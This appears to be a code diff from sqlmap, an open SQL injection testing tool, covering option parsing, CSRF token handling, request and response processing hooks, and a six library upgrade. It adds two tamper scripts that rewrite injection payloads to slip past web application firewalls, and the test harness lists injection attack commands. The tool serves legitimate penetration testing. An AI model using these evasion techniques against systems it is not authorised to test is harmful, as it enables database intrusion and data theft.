 URI_QUESTION_MARKER = "__QUESTION_MARK__"
 ASTERISK_MARKER = "__ASTERISK_MARK__"
 REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
+BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64_MARK__"
 BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
 SAFE_VARIABLE_MARKER = "__SAFE__"
 SAFE_HEX_MARKER = "__SAFE_HEX__"

lib/core/target.py

@@ -111,7 +111,7 @@ def _setRequestParams():
         def process(match, repl):
             retVal = match.group(0)
 
-            if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]) and match.group("name") == match.group("name").strip('\\'):
+            if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'):
                 retVal = repl
                 while True:
                     _ = re.search(r"\\g<([^>]+)>", retVal)
@@ -400,7 +400,7 @@ def _setRequestParams():
         raise SqlmapGenericException(errMsg)
 
     if conf.csrfToken:
-        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
+        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
             errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
             errMsg += "found in provided GET, POST, Cookie or header values"
             raise SqlmapGenericException(errMsg)

lib/core/testing.py

@@ -44,10 +44,13 @@ def vulnTest():
         (u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
         (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
         ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
+        ("-u '<url>&id2=1' -p id2 -v 5 --flush-session --level=5 --test-filter='AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'", ("~1AND",)),
         ("--list-tampers", ("between", "MySQL", "xforwardedfor")),
         ("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
         ("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
         ("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
+        ("-u <base64> -p id --base64=id --data='base64=true' --flush-session --banner --technique=B", ("banner: '3.",)),
+        ("-u <base64> -p id --base64=id --data='base64=true' --flush-session --tables --technique=U", (" users ",)),
         ("-u <url> --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)),
         ("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
         ("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
@@ -125,7 +128,10 @@ def vulnTest():
         status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
         dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
 
-        cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
+        for tag, value in (("<url>", url), ("<direct>", direct), ("<request>", request), ("<log>", log), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
+            options = options.replace(tag, value)
+
+        cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
 
         if "<tmp>" in cmd:
             handle, tmp = tempfile.mkstemp()

lib/parse/cmdline.py

@@ -622,6 +622,9 @@ def cmdLineParser(argv=None):
         general.add_argument("--base64", dest="base64Parameter",
             help="Parameter(s) containing Base64 encoded data")
 
+        general.add_argument("--base64-safe", dest="base64Safe", action="store_true",
+            help="Use URL and filename safe Base64 alphabet (RFC 4648)")
+
         general.add_argument("--batch", dest="batch", action="store_true",
             help="Never ask for user input, use the default behavior")
 
@@ -680,7 +683,10 @@ def cmdLineParser(argv=None):
             help="Parse and display DBMS error messages from responses")
 
         general.add_argument("--preprocess", dest="preprocess",
-            help="Use given script(s) for preprocessing of response data")
+            help="Use given script(s) for preprocessing (request)")
+
+        general.add_argument("--postprocess", dest="postprocess",
+            help="Use given script(s) for postprocessing (response)")
 
         general.add_argument("--repair", dest="repair", action="store_true",
             help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
@@ -860,7 +866,7 @@ def cmdLineParser(argv=None):
         _ = []
         advancedHelp = True
         extraHeaders = []
-        tamperIndex = None
+        auxIndexes = {}
 
         # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
         for arg in argv:
@@ -949,17 +955,25 @@ def cmdLineParser(argv=None):
                 argv[i] = ""
             elif argv[i] in DEPRECATED_OPTIONS:
                 argv[i] = ""
-            elif argv[i].startswith("--tamper"):
-                if tamperIndex is None:
-                    tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
+            elif any(argv[i].startswith(_) for _ in ("--tamper", "--ignore-code", "--skip")):
+                key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1)
+                index = auxIndexes.get(key, None)
+                if index is None:
+                    index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
+                    auxIndexes[key] = index
                 else:
-                    argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
+                    delimiter = ','
+                    argv[index] = "%s%s%s" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
                     argv[i] = ""
-            elif argv[i] in ("-H", "--header"):
-                if i + 1 < len(argv):
+            elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")):
+                if '=' in argv[i]:
+                    extraHeaders.append(argv[i].split('=', 1)[1])
+                elif i + 1 < len(argv):
                     extraHeaders.append(argv[i + 1])
             elif argv[i] == "--deps":
                 argv[i] = "--dependencies"
+            elif argv[i] == "--disable-colouring":
+                argv[i] = "--disable-coloring"
             elif argv[i] == "-r":
                 for j in xrange(i + 2, len(argv)):
                     value = argv[j]
@@ -992,7 +1006,7 @@ def cmdLineParser(argv=None):
         for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
             try:
                 if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
-                    conf.verbose = verbosity.count('v') + 1
+                    conf.verbose = verbosity.count('v')
                     del argv[argv.index(verbosity)]
             except (IndexError, ValueError):
                 pass

lib/request/basic.py

@@ -353,7 +353,7 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
 
             if (kb.pageEncoding or "").lower() == "utf-8-sig":
                 kb.pageEncoding = "utf-8"
-                if page and page.startswith("\xef\xbb\xbf"):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
+                if page and page.startswith(b"\xef\xbb\xbf"):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
                     page = page[3:]
 
             page = getUnicode(page, kb.pageEncoding)
@@ -394,7 +394,7 @@ def processResponse(page, responseHeaders, code=None, status=None):
         if msg:
             logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
 
-    if kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
+    if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
         rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", getUnicode("".join(responseHeaders.headers if responseHeaders else [])), page)
 
         identYwaf.non_blind.clear()

lib/request/connect.py

@@ -501,6 +501,16 @@ class Connect(object):
                 else:
                     return None, None, None
 
+                for function in kb.preprocessFunctions:
+                    try:
+                        function(req)
+                    except Exception as ex:
+                        errMsg = "error occurred while running preprocess "
+                        errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
+                        raise SqlmapGenericException(errMsg)
+                    else:
+                        post, headers = req.data, req.headers
+
                 requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()])
 
                 if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
@@ -539,7 +549,7 @@ class Connect(object):
                 conn = _urllib.request.urlopen(req)
 
                 if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower():
-                    kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)
+                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))
 
                 if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                     kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)
@@ -815,11 +825,11 @@ class Connect(object):
                 else:
                     page = getUnicode(page)
 
-            for function in kb.preprocessFunctions:
+            for function in kb.postprocessFunctions:
                 try:
                     page, responseHeaders, code = function(page, responseHeaders, code)
                 except Exception as ex:
-                    errMsg = "error occurred while running preprocess "
+                    errMsg = "error occurred while running postprocess "
                     errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
                     raise SqlmapGenericException(errMsg)
 
@@ -1089,6 +1099,9 @@ class Connect(object):
                             if not match:
                                 match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
 
+                                if not match:
+                                    match = re.search(r"<meta\s+name=[\"']?(?P<name>%s)[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" % conf.csrfToken, page or "", re.I)
+
                 if match:
                     token.name, token.value = match.group("name"), match.group("value")
 
@@ -1125,11 +1138,13 @@ class Connect(object):
             if token:
                 token.value = token.value.strip("'\"")
 
-                for candidate in (PLACE.GET, PLACE.POST):
+                for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI):
                     if candidate in conf.parameters:
-                        if candidate == PLACE.GET and get:
+                        if candidate == PLACE.URI and uri:
+                            uri = _adjustParameter(uri, token.name, token.value)
+                        elif candidate == PLACE.GET and get:
                             get = _adjustParameter(get, token.name, token.value)
-                        elif candidate == PLACE.POST and post:
+                        elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post:
                             post = _adjustParameter(post, token.name, token.value)
 
                 for i in xrange(len(conf.httpHeaders)):

lib/request/httpshandler.py

@@ -11,6 +11,8 @@ import socket
 
 from lib.core.common import filterNone
 from lib.core.common import getSafeExString
+from lib.core.compat import xrange
+from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -43,6 +45,8 @@ class HTTPSConnection(_http_client.HTTPSConnection):
                 _contexts[None] = ssl._create_default_https_context()
             kwargs["context"] = _contexts[None]
 
+        self.retrying = False
+
         _http_client.HTTPSConnection.__init__(self, *args, **kwargs)
 
     def connect(self):
@@ -58,7 +62,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
         # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
         #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
         if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
-            for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
+            for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1):
                 try:
                     sock = create_sock()
                     if protocol not in _contexts:
@@ -101,7 +105,21 @@ class HTTPSConnection(_http_client.HTTPSConnection):
             # Reference: https://docs.python.org/2/library/ssl.html
             if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.9"):
                 errMsg += " (please retry with Python >= 2.7.9)"
+
+            if kb.sslSuccess and not self.retrying:
+                self.retrying = True
+
+                for _ in xrange(conf.retries):
+                    try:
+                        self.connect()
+                    except SqlmapConnectionException:
+                        pass
+                    else:
+                        return
+
             raise SqlmapConnectionException(errMsg)
+        else:
+            kb.sslSuccess = True
 
 class HTTPSHandler(_urllib.request.HTTPSHandler):
     def https_open(self, req):

lib/request/redirecthandler.py

@@ -153,14 +153,14 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
                     result.info()
                 except AttributeError:
                     def _(self):
-                        return getattr(self, "hdrs") or {}
+                        return getattr(self, "hdrs", {})
 
                     result.info = types.MethodType(_, result)
 
                 if not hasattr(result, "read"):
                     def _(self, length=None):
                         try:
-                            retVal = getSafeExString(ex)
+                            retVal = getSafeExString(ex)        # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3)
                         except:
                             retVal = ""
                         return retVal

lib/takeover/registry.py

@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
 
 import os
 
+from lib.core.common import openFile
 from lib.core.common import randomStr
 from lib.core.data import conf
 from lib.core.data import logger
@@ -48,7 +49,7 @@ class Registry(object):
         )
 
     def _createLocalBatchFile(self):
-        self._batPathFp = open(self._batPathLocal, "w")
+        self._batPathFp = openFile(self._batPathLocal, "w")
 
         if self._operation == REGISTRY_OPERATION.READ:
             lines = self._batRead

lib/utils/api.py

@@ -61,6 +61,7 @@ from thirdparty.bottle.bottle import request
 from thirdparty.bottle.bottle import response
 from thirdparty.bottle.bottle import run
 from thirdparty.bottle.bottle import server_names
+from thirdparty import six
 from thirdparty.six.moves import http_client as _http_client
 from thirdparty.six.moves import input as _input
 from thirdparty.six.moves import urllib as _urllib
@@ -717,7 +718,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
             errMsg += "List of supported adapters: %s" % ', '.join(sorted(list(server_names.keys())))
         else:
             errMsg = "Server support for adapter '%s' is not installed on this system " % adapter
-            errMsg += "(Note: you can try to install it with 'sudo apt install python-%s' or 'sudo pip install %s')" % (adapter, adapter)
+            errMsg += "(Note: you can try to install it with 'sudo apt install python-%s' or 'sudo pip%s install %s')" % (adapter, '3' if six.PY3 else "", adapter)
         logger.critical(errMsg)
 
 def _client(url, options=None):

plugins/generic/databases.py

@@ -525,6 +525,9 @@ class Databases(object):
             else:
                 return kb.data.cachedColumns
 
+        if conf.exclude:
+            tblList = [_ for _ in tblList if re.search(conf.exclude, _, re.I) is None]
+
         tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList)
 
         if bruteForce is None:

plugins/generic/search.py

@@ -410,9 +410,11 @@ class Search(object):
 
             if tblCond:
                 if conf.tbl:
-                    _ = conf.tbl.split(',')
-                    whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
-                    infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _))
+                    tbls = conf.tbl.split(',')
+                    if conf.exclude:
+                        tbls = [_ for _ in tbls if re.search(conf.exclude, _, re.I) is None]
+                    whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in tbls) + ")"
+                    infoMsgTbl = " for table%s '%s'" % ("s" if len(tbls) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in tbls))
 
             if conf.db == CURRENT_DB:
                 conf.db = self.getCurrentDb()

plugins/generic/users.py

@@ -617,7 +617,8 @@ class Users(object):
 
                     # In Informix we get one letter for the highest privilege
                     elif Backend.isDbms(DBMS.INFORMIX):
-                        privileges.add(INFORMIX_PRIVS[privilege.strip()])
+                        if privilege.strip() in INFORMIX_PRIVS:
+                            privileges.add(INFORMIX_PRIVS[privilege.strip()])
 
                     # In DB2 we get Y or G if the privilege is
                     # True, N otherwise

sqlmap.conf

@@ -699,6 +699,10 @@ answers =
 # Parameter(s) containing Base64 encoded data
 base64Parameter =
 
+# Use URL and filename safe Base64 alphabet (Reference: https://en.wikipedia.org/wiki/Base64#URL_applications).
+# Valid: True or False
+base64Safe = False
+
 # Never ask for user input, use the default behaviour.
 # Valid: True or False
 batch = False
@@ -765,9 +769,12 @@ outputDir =
 # Valid: True or False
 parseErrors = False
 
-# Use given script(s) for preprocessing of response data.
+# Use given script(s) for preprocessing of request.
 preprocess =
 
+# Use given script(s) for postprocessing of response data.
+postprocess =
+
 # Redump entries having unknown character marker (?).
 # Valid: True or False
 repair = False

sqlmap.py

@@ -317,7 +317,7 @@ def main():
             logger.critical(errMsg)
             raise SystemExit
 
-        elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp")):
+        elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp", "tempfile.py")):
             errMsg = "unable to write to the temporary directory '%s'. " % tempfile.gettempdir()
             errMsg += "Please make sure that your disk is not full and "
             errMsg += "that you have sufficient write permissions to "
@@ -428,6 +428,12 @@ def main():
             logger.critical(errMsg)
             raise SystemExit
 
+        elif all(_ in excMsg for _ in ("HTTPNtlmAuthHandler", "'str' object has no attribute 'decode'")):
+            errMsg = "package 'python-ntlm' has a known compatibility issue with the "
+            errMsg += "Python 3 (Reference: https://github.com/mullender/python-ntlm/pull/61)"
+            logger.critical(errMsg)
+            raise SystemExit
+
         elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")):
             errMsg = "there has been a problem in enumeration. "
             errMsg += "Because of a considerable chance of false-positive case "

tamper/dunion.py

@@ -5,14 +5,17 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+import os
 import re
 
+from lib.core.common import singleTimeWarnMessage
+from lib.core.enums import DBMS
 from lib.core.enums import PRIORITY
 
 __priority__ = PRIORITY.HIGHEST
 
 def dependencies():
-    pass
+    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ORACLE))
 
 def tamper(payload, **kwargs):
     """

tamper/equaltolike.py

@@ -5,17 +5,14 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import os
 import re
 
-from lib.core.common import singleTimeWarnMessage
-from lib.core.enums import DBMS
 from lib.core.enums import PRIORITY
 
 __priority__ = PRIORITY.HIGHEST
 
 def dependencies():
-    singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL))
+    pass
 
 def tamper(payload, **kwargs):
     """

tamper/equaltorlike.py

@@ -0,0 +1,37 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import re
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Replaces all occurrences of operator equal ('=') with 'RLIKE' counterpart
+
+    Tested against:
+        * MySQL 4, 5.0 and 5.5
+
+    Notes:
+        * Useful to bypass weak and bespoke web application firewalls that
+          filter the equal character ('=')
+
+    >>> tamper('SELECT * FROM users WHERE id=1')
+    'SELECT * FROM users WHERE id RLIKE 1'
+    """
+
+    retVal = payload
+
+    if payload:
+        retVal = re.sub(r"\s*=\s*", " RLIKE ", retVal)
+
+    return retVal

tamper/hex2char.py

@@ -5,16 +5,19 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+import os
 import re
 
+from lib.core.common import singleTimeWarnMessage
 from lib.core.convert import decodeHex
 from lib.core.convert import getOrds
+from lib.core.enums import DBMS
 from lib.core.enums import PRIORITY
 
 __priority__ = PRIORITY.NORMAL
 
 def dependencies():
-    pass
+    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
 
 def tamper(payload, **kwargs):
     """

tamper/misunion.py

@@ -5,14 +5,17 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+import os
 import re
 
+from lib.core.common import singleTimeWarnMessage
+from lib.core.enums import DBMS
 from lib.core.enums import PRIORITY
 
 __priority__ = PRIORITY.HIGHEST
 
 def dependencies():
-    pass
+    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
 
 def tamper(payload, **kwargs):
     """

tamper/schemasplit.py

@@ -16,7 +16,7 @@ def dependencies():
 
 def tamper(payload, **kwargs):
     """
-    Replaces instances of <int> UNION with <int>e0UNION
+    Splits FROM schema identifiers (e.g. 'testdb.users') with whitespace (e.g. 'testdb 9.e.users')
 
     Requirement:
         * MySQL

tamper/sleep2getlock.py

@@ -0,0 +1,39 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.data import kb
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Replaces instances like 'SLEEP(5)' with (e.g.) "GET_LOCK('ETgP',5)"
+
+    Requirement:
+        * MySQL
+
+    Tested against:
+        * MySQL 5.0 and 5.5
+
+    Notes:
+        * Useful to bypass very weak and bespoke web application firewalls
+          that filter the SLEEP() and BENCHMARK() functions
+
+        * Reference: https://zhuanlan.zhihu.com/p/35245598
+
+    >>> tamper('SLEEP(5)') == "GET_LOCK('%s',5)" % kb.aliasName
+    True
+    """
+
+    if payload:
+        payload = payload.replace("SLEEP(", "GET_LOCK('%s'," % kb.aliasName)
+
+    return payload

thirdparty/six/__init__.py

@@ -1,4 +1,4 @@
-# Copyright (c) 2010-2018 Benjamin Peterson
+# Copyright (c) 2010-2020 Benjamin Peterson
 #
 # Permission is hereby granted, free of charge, to any person obtaining a copy
 # of this software and associated documentation files (the "Software"), to deal
@@ -29,7 +29,7 @@ import sys
 import types
 
 __author__ = "Benjamin Peterson <benjamin@python.org>"
-__version__ = "1.12.0"
+__version__ = "1.15.0"
 
 
 # Useful for very coarse version differentiation.
@@ -255,9 +255,11 @@ _moved_attributes = [
     MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"),
     MovedModule("builtins", "__builtin__"),
     MovedModule("configparser", "ConfigParser"),
+    MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"),
     MovedModule("copyreg", "copy_reg"),
     MovedModule("dbm_gnu", "gdbm", "dbm.gnu"),
-    MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"),
+    MovedModule("dbm_ndbm", "dbm", "dbm.ndbm"),
+    MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread" if sys.version_info < (3, 9) else "_thread"),
     MovedModule("http_cookiejar", "cookielib", "http.cookiejar"),
     MovedModule("http_cookies", "Cookie", "http.cookies"),
     MovedModule("html_entities", "htmlentitydefs", "html.entities"),
@@ -637,13 +639,16 @@ if PY3:
     import io
     StringIO = io.StringIO
     BytesIO = io.BytesIO
+    del io
     _assertCountEqual = "assertCountEqual"
     if sys.version_info[1] <= 1:
         _assertRaisesRegex = "assertRaisesRegexp"
         _assertRegex = "assertRegexpMatches"
+        _assertNotRegex = "assertNotRegexpMatches"
     else:
         _assertRaisesRegex = "assertRaisesRegex"
         _assertRegex = "assertRegex"
+        _assertNotRegex = "assertNotRegex"
 else:
     def b(s):
         return s
@@ -665,6 +670,7 @@ else:
     _assertCountEqual = "assertItemsEqual"
     _assertRaisesRegex = "assertRaisesRegexp"
     _assertRegex = "assertRegexpMatches"
+    _assertNotRegex = "assertNotRegexpMatches"
 _add_doc(b, """Byte literal""")
 _add_doc(u, """Text literal""")
 
@@ -681,6 +687,10 @@ def assertRegex(self, *args, **kwargs):
     return getattr(self, _assertRegex)(*args, **kwargs)
 
 
+def assertNotRegex(self, *args, **kwargs):
+    return getattr(self, _assertNotRegex)(*args, **kwargs)
+
+
 if PY3:
     exec_ = getattr(moves.builtins, "exec")
 
@@ -716,16 +726,7 @@ else:
 """)
 
 
-if sys.version_info[:2] == (3, 2):
-    exec_("""def raise_from(value, from_value):
-    try:
-        if from_value is None:
-            raise value
-        raise value from from_value
-    finally:
-        value = None
-""")
-elif sys.version_info[:2] > (3, 2):
+if sys.version_info[:2] > (3,):
     exec_("""def raise_from(value, from_value):
     try:
         raise value from from_value
@@ -805,13 +806,33 @@ if sys.version_info[:2] < (3, 3):
 _add_doc(reraise, """Reraise an exception.""")
 
 if sys.version_info[0:2] < (3, 4):
+    # This does exactly the same what the :func:`py3:functools.update_wrapper`
+    # function does on Python versions after 3.2. It sets the ``__wrapped__``
+    # attribute on ``wrapper`` object and it doesn't raise an error if any of
+    # the attributes mentioned in ``assigned`` and ``updated`` are missing on
+    # ``wrapped`` object.
+    def _update_wrapper(wrapper, wrapped,
+                        assigned=functools.WRAPPER_ASSIGNMENTS,
+                        updated=functools.WRAPPER_UPDATES):
+        for attr in assigned:
+            try:
+                value = getattr(wrapped, attr)
+            except AttributeError:
+                continue
+            else:
+                setattr(wrapper, attr, value)
+        for attr in updated:
+            getattr(wrapper, attr).update(getattr(wrapped, attr, {}))
+        wrapper.__wrapped__ = wrapped
+        return wrapper
+    _update_wrapper.__doc__ = functools.update_wrapper.__doc__
+
     def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS,
               updated=functools.WRAPPER_UPDATES):
-        def wrapper(f):
-            f = functools.wraps(wrapped, assigned, updated)(f)
-            f.__wrapped__ = wrapped
-            return f
-        return wrapper
+        return functools.partial(_update_wrapper, wrapped=wrapped,
+                                 assigned=assigned, updated=updated)
+    wraps.__doc__ = functools.wraps.__doc__
+
 else:
     wraps = functools.wraps
 
@@ -824,7 +845,15 @@ def with_metaclass(meta, *bases):
     class metaclass(type):
 
         def __new__(cls, name, this_bases, d):
-            return meta(name, bases, d)
+            if sys.version_info[:2] >= (3, 7):
+                # This version introduced PEP 560 that requires a bit
+                # of extra care (we mimic what is done by __build_class__).
+                resolved_bases = types.resolve_bases(bases)
+                if resolved_bases is not bases:
+                    d['__orig_bases__'] = bases
+            else:
+                resolved_bases = bases
+            return meta(name, resolved_bases, d)
 
         @classmethod
         def __prepare__(cls, name, this_bases):
@@ -861,12 +890,11 @@ def ensure_binary(s, encoding='utf-8', errors='strict'):
       - `str` -> encoded to `bytes`
       - `bytes` -> `bytes`
     """
+    if isinstance(s, binary_type):
+        return s
     if isinstance(s, text_type):
         return s.encode(encoding, errors)
-    elif isinstance(s, binary_type):
-        return s
-    else:
-        raise TypeError("not expecting type '%s'" % type(s))
+    raise TypeError("not expecting type '%s'" % type(s))
 
 
 def ensure_str(s, encoding='utf-8', errors='strict'):
@@ -880,12 +908,15 @@ def ensure_str(s, encoding='utf-8', errors='strict'):
       - `str` -> `str`
       - `bytes` -> decoded to `str`
     """
-    if not isinstance(s, (text_type, binary_type)):
-        raise TypeError("not expecting type '%s'" % type(s))
+    # Optimization: Fast return for the common case.
+    if type(s) is str:
+        return s
     if PY2 and isinstance(s, text_type):
-        s = s.encode(encoding, errors)
+        return s.encode(encoding, errors)
     elif PY3 and isinstance(s, binary_type):
-        s = s.decode(encoding, errors)
+        return s.decode(encoding, errors)
+    elif not isinstance(s, (text_type, binary_type)):
+        raise TypeError("not expecting type '%s'" % type(s))
     return s
 
 
@@ -908,10 +939,9 @@ def ensure_text(s, encoding='utf-8', errors='strict'):
         raise TypeError("not expecting type '%s'" % type(s))
 
 
-
 def python_2_unicode_compatible(klass):
     """
-    A decorator that defines __unicode__ and __str__ methods under Python 2.
+    A class decorator that defines __unicode__ and __str__ methods under Python 2.
     Under Python 3 it does nothing.
 
     To support Python 2 and 3 with a single code base, define a __str__ method